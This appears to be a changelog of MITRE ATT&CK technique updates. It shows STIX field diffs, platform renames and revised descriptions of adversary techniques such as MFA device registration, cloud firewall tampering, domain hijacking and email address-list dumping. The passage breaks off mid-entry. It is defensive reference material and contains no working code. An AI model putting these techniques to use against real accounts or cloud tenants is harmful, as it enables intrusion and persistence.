x_mitre_contributorsNilesh Dherange (Gurucul)
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_contributorsNaveen Vijayaraghavan, Nilesh Dherange (Gurucul)
x_mitre_platformsOffice 365

[T1078.001] Valid Accounts: Default Accounts

Current version: 1.4

Version changed from: 1.3 → 1.4

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-07 14:27:04.770000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version1.31.4
x_mitre_platforms[7]Google WorkspaceOffice Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365

[T1578.003] Modify Cloud Compute Infrastructure: Delete Cloud Instance

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_contributors['Arun Seelagan, CISA']
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2021-03-08 10:33:02.083000+00:002024-09-30 13:28:37.415000+00:00
external_references[1]['url']https://content.fireeye.com/m-trends/rpt-m-trends-2020https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf
x_mitre_version1.11.2

[T1098.005] Account Manipulation: Device Registration

Current version: 1.3

Version changed from: 1.2 → 1.3

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may register a device to an adversary-controlledt1Adversaries may register a device to an adversary-controlled
> account. Devices may be registered in a multifactor authent> account. Devices may be registered in a multifactor authent
>ication (MFA) system, which handles authentication to the ne>ication (MFA) system, which handles authentication to the ne
>twork, or in a device management system, which handles devic>twork, or in a device management system, which handles devic
>e access and compliance.  MFA systems, such as Duo or Okta, >e access and compliance.  MFA systems, such as Duo or Okta, 
>allow users to associate devices with their accounts in orde>allow users to associate devices with their accounts in orde
>r to complete MFA requirements. An adversary that compromise>r to complete MFA requirements. An adversary that compromise
>s a user’s credentials may enroll a new device in order to b>s a user’s credentials may enroll a new device in order to b
>ypass initial MFA requirements and gain persistent access to>ypass initial MFA requirements and gain persistent access to
> a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar> a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar
>kReading FireEye SolarWinds) In some cases, the MFA self-enr>kReading FireEye SolarWinds) In some cases, the MFA self-enr
>ollment process may require only a username and password to >ollment process may require only a username and password to 
>enroll the account's first device or to enroll a device to a>enroll the account's first device or to enroll a device to a
>n inactive account. (Citation: Mandiant APT29 Microsoft 365 >n inactive account. (Citation: Mandiant APT29 Microsoft 365 
>2022)  Similarly, an adversary with existing access to a net>2022)  Similarly, an adversary with existing access to a net
>work may register a device to Azure AD and/or its device man>work may register a device to Entra ID and/or its device man
>agement system, Microsoft Intune, in order to access sensiti>agement system, Microsoft Intune, in order to access sensiti
>ve data or resources while bypassing conditional access poli>ve data or resources while bypassing conditional access poli
>cies.(Citation: AADInternals - Device Registration)(Citation>cies.(Citation: AADInternals - Device Registration)(Citation
>: AADInternals - Conditional Access Bypass)(Citation: Micros>: AADInternals - Conditional Access Bypass)(Citation: Micros
>oft DEV-0537)   Devices registered in Azure AD may be able t>oft DEV-0537)   Devices registered in Entra ID may be able t
>o conduct [Internal Spearphishing](https://attack.mitre.org/>o conduct [Internal Spearphishing](https://attack.mitre.org/
>techniques/T1534) campaigns via intra-organizational emails,>techniques/T1534) campaigns via intra-organizational emails,
> which are less likely to be treated as suspicious by the em> which are less likely to be treated as suspicious by the em
>ail client.(Citation: Microsoft - Device Registration) Addit>ail client.(Citation: Microsoft - Device Registration) Addit
>ionally, an adversary may be able to perform a [Service Exha>ionally, an adversary may be able to perform a [Service Exha
>ustion Flood](https://attack.mitre.org/techniques/T1499/002)>ustion Flood](https://attack.mitre.org/techniques/T1499/002)
> on an Azure AD tenant by registering a large number of devi> on an Entra ID tenant by registering a large number of devi
>ces.(Citation: AADInternals - BPRT)>ces.(Citation: AADInternals - BPRT)
Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-03 17:38:39.065000+00:002024-09-25 20:39:53.597000+00:00
descriptionAdversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. + +MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022) + +Similarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) + +Devices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. + +MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022) + +Similarly, an adversary with existing access to a network may register a device to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) + +Devices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)
x_mitre_version1.21.3
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsArun Seelagan, CISA
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsSaaS

[T1498.001] Network Denial of Service: Direct Network Flood

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:53.685000+00:002024-10-15 15:54:49.943000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.31.4
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365
x_mitre_platformsSaaS
x_mitre_platformsGoogle Workspace

[T1562.007] Impair Defenses: Disable or Modify Cloud Firewall

Current version: 1.3

Version changed from: 1.2 → 1.3

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may disable or modify a firewall within a cloud t1Adversaries may disable or modify a firewall within a cloud 
>environment to bypass controls that limit access to cloud re>environment to bypass controls that limit access to cloud re
>sources. Cloud firewalls are separate from system firewalls >sources. Cloud firewalls are separate from system firewalls 
>that are described in [Disable or Modify System Firewall](ht>that are described in [Disable or Modify System Firewall](ht
>tps://attack.mitre.org/techniques/T1562/004).   Cloud enviro>tps://attack.mitre.org/techniques/T1562/004).   Cloud enviro
>nments typically utilize restrictive security groups and fir>nments typically utilize restrictive security groups and fir
>ewall rules that only allow network activity from trusted IP>ewall rules that only allow network activity from trusted IP
> addresses via expected ports and protocols. An adversary ma> addresses via expected ports and protocols. An adversary wi
>y introduce new firewall rules or policies to allow access i>th appropriate permissions may introduce new firewall rules 
>nto a victim cloud environment. For example, an adversary ma>or policies to allow access into a victim cloud environment 
>y use a script or utility that creates new ingress rules in >and/or move laterally from the cloud control plane to the da
>existing security groups to allow any TCP/IP connectivity, o>ta plane. For example, an adversary may use a script or util
>r remove networking limitations to support traffic associate>ity that creates new ingress rules in existing security grou
>d with malicious activity (such as cryptomining).(Citation: >ps (or creates new security groups entirely) to allow any TC
>Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromise>P/IP connectivity to a cloud-hosted instance.(Citation: Palo
>d Cloud Compute Credentials 2022)  Modifying or disabling a > Alto Unit 42 Compromised Cloud Compute Credentials 2022) Th
>cloud firewall may enable adversary C2 communications, later>ey may also remove networking limitations to support traffic
>al movement, and/or data exfiltration that would otherwise n> associated with malicious activity (such as cryptomining).(
>ot be allowed.>Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 
 >Compromised Cloud Compute Credentials 2022)  Modifying or di
 >sabling a cloud firewall may enable adversary C2 communicati
 >ons, lateral movement, and/or data exfiltration that would o
 >therwise not be allowed. It may also be used to open up reso
 >urces for [Brute Force](https://attack.mitre.org/techniques/
 >T1110) or [Endpoint Denial of Service](https://attack.mitre.
 >org/techniques/T1499). 
Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-15 00:25:36.502000+00:002024-10-16 19:38:57.374000+00:00
descriptionAdversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). + +Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) + +Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). + +Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) + +Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. It may also be used to open up resources for [Brute Force](https://attack.mitre.org/techniques/T1110) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.21.3
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsArun Seelagan, CISA

[T1562.008] Impair Defenses: Disable or Modify Cloud Logs

Current version: 2.1

Version changed from: 2.0 → 2.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-12 21:13:56.431000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version2.02.1
x_mitre_platforms[2]Google WorkspaceOffice Suite
x_mitre_platforms[3]Azure ADIdentity Provider
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsArun Seelagan, CISA
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365

[T1556.001] Modify Authentication Process: Domain Controller Authentication

Current version: 2.1

Version changed from: 2.0 → 2.1

New Mitigations:

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['Administrator']
values_changed
STIX FieldOld valueNew Value
modified2021-04-20 20:10:26.613000+00:002024-08-21 15:26:54.386000+00:00
x_mitre_version2.02.1

[T1568.002] Dynamic Resolution: Domain Generation Algorithms

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2022-03-11 18:26:23.432000+00:002024-10-15 15:55:16.111000+00:00
external_references[5]['url']https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.htmlhttps://medium.com/@yvyuz/a-death-match-of-domain-generation-algorithms-a5b5dbdc1c6e
x_mitre_version1.01.1

[T1484] Domain or Tenant Policy Modification

Current version: 3.1

Version changed from: 3.0 → 3.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-19 04:27:31.884000+00:002024-10-15 15:55:32.946000+00:00
external_references[9]['description']Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.
external_references[9]['url']http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/
x_mitre_version3.03.1
x_mitre_platforms[1]Azure ADIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsSaaS

[T1583.001] Acquire Infrastructure: Domains

Current version: 1.4

Version changed from: 1.3 → 1.4

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may acquire domains that can be used during targt1Adversaries may acquire domains that can be used during targ
>eting. Domain names are the human readable names used to rep>eting. Domain names are the human readable names used to rep
>resent one or more IP addresses. They can be purchased or, i>resent one or more IP addresses. They can be purchased or, i
>n some cases, acquired for free.  Adversaries may use acquir>n some cases, acquired for free.  Adversaries may use acquir
>ed domains for a variety of purposes, including for [Phishin>ed domains for a variety of purposes, including for [Phishin
>g](https://attack.mitre.org/techniques/T1566), [Drive-by Com>g](https://attack.mitre.org/techniques/T1566), [Drive-by Com
>promise](https://attack.mitre.org/techniques/T1189), and Com>promise](https://attack.mitre.org/techniques/T1189), and Com
>mand and Control.(Citation: CISA MSS Sep 2020) Adversaries m>mand and Control.(Citation: CISA MSS Sep 2020) Adversaries m
>ay choose domains that are similar to legitimate domains, in>ay choose domains that are similar to legitimate domains, in
>cluding through use of homoglyphs or use of a different top->cluding through use of homoglyphs or use of a different top-
>level domain (TLD).(Citation: FireEye APT28)(Citation: Paypa>level domain (TLD).(Citation: FireEye APT28)(Citation: Paypa
>lScam) Typosquatting may be used to aid in delivery of paylo>lScam) Typosquatting may be used to aid in delivery of paylo
>ads via [Drive-by Compromise](https://attack.mitre.org/techn>ads via [Drive-by Compromise](https://attack.mitre.org/techn
>iques/T1189). Adversaries may also use internationalized dom>iques/T1189). Adversaries may also use internationalized dom
>ain names (IDNs) and different character sets (e.g. Cyrillic>ain names (IDNs) and different character sets (e.g. Cyrillic
>, Greek, etc.) to execute "IDN homograph attacks," creating >, Greek, etc.) to execute "IDN homograph attacks," creating 
>visually similar lookalike domains used to deliver malware t>visually similar lookalike domains used to deliver malware t
>o victim machines.(Citation: CISA IDN ST05-016)(Citation: tt>o victim machines.(Citation: CISA IDN ST05-016)(Citation: tt
>_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: ht>_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: ht
>track_unhcr)(Citation: lazgroup_idn_phishing)  Different URI>track_unhcr)(Citation: lazgroup_idn_phishing)  Different URI
>s/URLs may also be dynamically generated to uniquely serve m>s/URLs may also be dynamically generated to uniquely serve m
>alicious content to victims (including one-time, single use >alicious content to victims (including one-time, single use 
>domain names).(Citation: iOS URL Scheme)(Citation: URI)(Cita>domain names).(Citation: iOS URL Scheme)(Citation: URI)(Cita
>tion: URI Use)(Citation: URI Unique)  Adversaries may also a>tion: URI Use)(Citation: URI Unique)  Adversaries may also a
>cquire and repurpose expired domains, which may be potential>cquire and repurpose expired domains, which may be potential
>ly already allowlisted/trusted by defenders based on an exis>ly already allowlisted/trusted by defenders based on an exis
>ting reputation/history.(Citation: Categorisation_not_bounda>ting reputation/history.(Citation: Categorisation_not_bounda
>ry)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_>ry)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_
>Fronting)(Citation: bypass_webproxy_filtering)  Domain regis>Fronting)(Citation: bypass_webproxy_filtering)  Domain regis
>trars each maintain a publicly viewable database that displa>trars each maintain a publicly viewable database that displa
>ys contact information for every registered domain. Private >ys contact information for every registered domain. Private 
>WHOIS services display alternative information, such as thei>WHOIS services display alternative information, such as thei
>r own company data, rather than the owner of the domain. Adv>r own company data, rather than the owner of the domain. Adv
>ersaries may use such private WHOIS services to obscure info>ersaries may use such private WHOIS services to obscure info
>rmation about who owns a purchased domain. Adversaries may f>rmation about who owns a purchased domain. Adversaries may f
>urther interrupt efforts to track their infrastructure by us>urther interrupt efforts to track their infrastructure by us
>ing varied registration information and purchasing domains w>ing varied registration information and purchasing domains w
>ith different domain registrars.(Citation: Mandiant APT1)>ith different domain registrars.(Citation: Mandiant APT1)  I
 >n addition to legitimately purchasing a domain, an adversary
 > may register a new domain in a compromised environment. For
 > example, in AWS environments, adversaries may leverage the 
 >Route53 domain service to register a domain and create hoste
 >d zones pointing to resources of the threat actor’s choosing
 >.(Citation: Invictus IR DangerDev 2024)
Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-28 15:55:55.068000+00:002024-09-25 15:26:00.047000+00:00
descriptionAdversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. + +Adversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute "IDN homograph attacks," creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing) + +Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) + +Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering) + +Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. + +Adversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute "IDN homograph attacks," creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing) + +Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) + +Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering) + +Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1) + +In addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor’s choosing.(Citation: Invictus IR DangerDev 2024)
x_mitre_version1.31.4
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Invictus IR DangerDev 2024', 'description': 'Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.', 'url': 'https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me'}

[T1584.001] Compromise Infrastructure: Domains

Current version: 1.4

Version changed from: 1.3 → 1.4

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may hijack domains and/or subdomains that can bet1Adversaries may hijack domains and/or subdomains that can be
> used during targeting. Domain registration hijacking is the> used during targeting. Domain registration hijacking is the
> act of changing the registration of a domain name without t> act of changing the registration of a domain name without t
>he permission of the original registrant.(Citation: ICANNDom>he permission of the original registrant.(Citation: ICANNDom
>ainNameHijacking) Adversaries may gain access to an email ac>ainNameHijacking) Adversaries may gain access to an email ac
>count for the person listed as the owner of the domain. The >count for the person listed as the owner of the domain. The 
>adversary can then claim that they forgot their password in >adversary can then claim that they forgot their password in 
>order to make changes to the domain registration. Other poss>order to make changes to the domain registration. Other poss
>ibilities include social engineering a domain registration h>ibilities include social engineering a domain registration h
>elp desk to gain access to an account or taking advantage of>elp desk to gain access to an account, taking advantage of r
> renewal process gaps.(Citation: Krebs DNS Hijack 2019)  Sub>enewal process gaps, or compromising a cloud service that en
>domain hijacking can occur when organizations have DNS entri>ables managing domains (e.g., AWS Route53).(Citation: Krebs 
>es that point to non-existent or deprovisioned resources. In>DNS Hijack 2019)  Subdomain hijacking can occur when organiz
> such cases, an adversary may take control of a subdomain to>ations have DNS entries that point to non-existent or deprov
> conduct operations with the benefit of the trust associated>isioned resources. In such cases, an adversary may take cont
> with that domain.(Citation: Microsoft Sub Takeover 2020)  A>rol of a subdomain to conduct operations with the benefit of
>dversaries who compromise a domain may also engage in domain> the trust associated with that domain.(Citation: Microsoft 
> shadowing by creating malicious subdomains under their cont>Sub Takeover 2020)  Adversaries who compromise a domain may 
>rol while keeping any existing DNS records. As service will >also engage in domain shadowing by creating malicious subdom
>not be disrupted, the malicious subdomains may go unnoticed >ains under their control while keeping any existing DNS reco
>for long periods of time.(Citation: Palo Alto Unit 42 Domain>rds. As service will not be disrupted, the malicious subdoma
> Shadowing 2022)>ins may go unnoticed for long periods of time.(Citation: Pal
 >o Alto Unit 42 Domain Shadowing 2022)
Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-07 13:05:42.901000+00:002024-09-24 15:10:40.270000+00:00
descriptionAdversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019) + +Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020) + +Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).(Citation: Krebs DNS Hijack 2019) + +Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020) + +Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.31.4

[T1189] Drive-by Compromise

Current version: 1.6

Version changed from: 1.5 → 1.6

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-14 23:58:45.490000+00:002024-10-15 15:55:47.494000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.51.6
x_mitre_platforms[3]SaaSIdentity Provider

[T1087.003] Account Discovery: Email Account

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may attempt to get a listing of email addresses t1Adversaries may attempt to get a listing of email addresses 
>and accounts. Adversaries may try to dump Exchange address l>and accounts. Adversaries may try to dump Exchange address l
>ists such as global address lists (GALs).(Citation: Microsof>ists such as global address lists (GALs).(Citation: Microsof
>t Exchange Address Lists)  In on-premises Exchange and Excha>t Exchange Address Lists)  In on-premises Exchange and Excha
>nge Online, the<code>Get-GlobalAddressList</code> PowerShell>nge Online, the <code>Get-GlobalAddressList</code> PowerShel
> cmdlet can be used to obtain email addresses and accounts f>l cmdlet can be used to obtain email addresses and accounts 
>rom a domain using an authenticated session.(Citation: Micro>from a domain using an authenticated session.(Citation: Micr
>soft getglobaladdresslist)(Citation: Black Hills Attacking E>osoft getglobaladdresslist)(Citation: Black Hills Attacking 
>xchange MailSniper, 2016)  In Google Workspace, the GAL is s>Exchange MailSniper, 2016)  In Google Workspace, the GAL is 
>hared with Microsoft Outlook users through the Google Worksp>shared with Microsoft Outlook users through the Google Works
>ace Sync for Microsoft Outlook (GWSMO) service. Additionally>pace Sync for Microsoft Outlook (GWSMO) service. Additionall
>, the Google Workspace Directory allows for users to get a l>y, the Google Workspace Directory allows for users to get a 
>isting of other users within the organization.(Citation: Goo>listing of other users within the organization.(Citation: Go
>gle Workspace Global Access List)>ogle Workspace Global Access List)
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2021-03-31 13:10:46.302000+00:002024-10-17 20:35:35.125000+00:00
descriptionAdversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists) + +In on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016) + +In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists) + +In on-premises Exchange and Exchange Online, the Get-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016) + +In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)
x_mitre_version1.11.2
x_mitre_platforms[1]Office 365Office Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsGoogle Workspace

[T1114] Email Collection

Current version: 2.6

Version changed from: 2.5 → 2.6

+ + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may target user email to collect sensitive infort1Adversaries may target user email to collect sensitive infor
>mation. Emails may contain sensitive data, including trade s>mation. Emails may contain sensitive data, including trade s
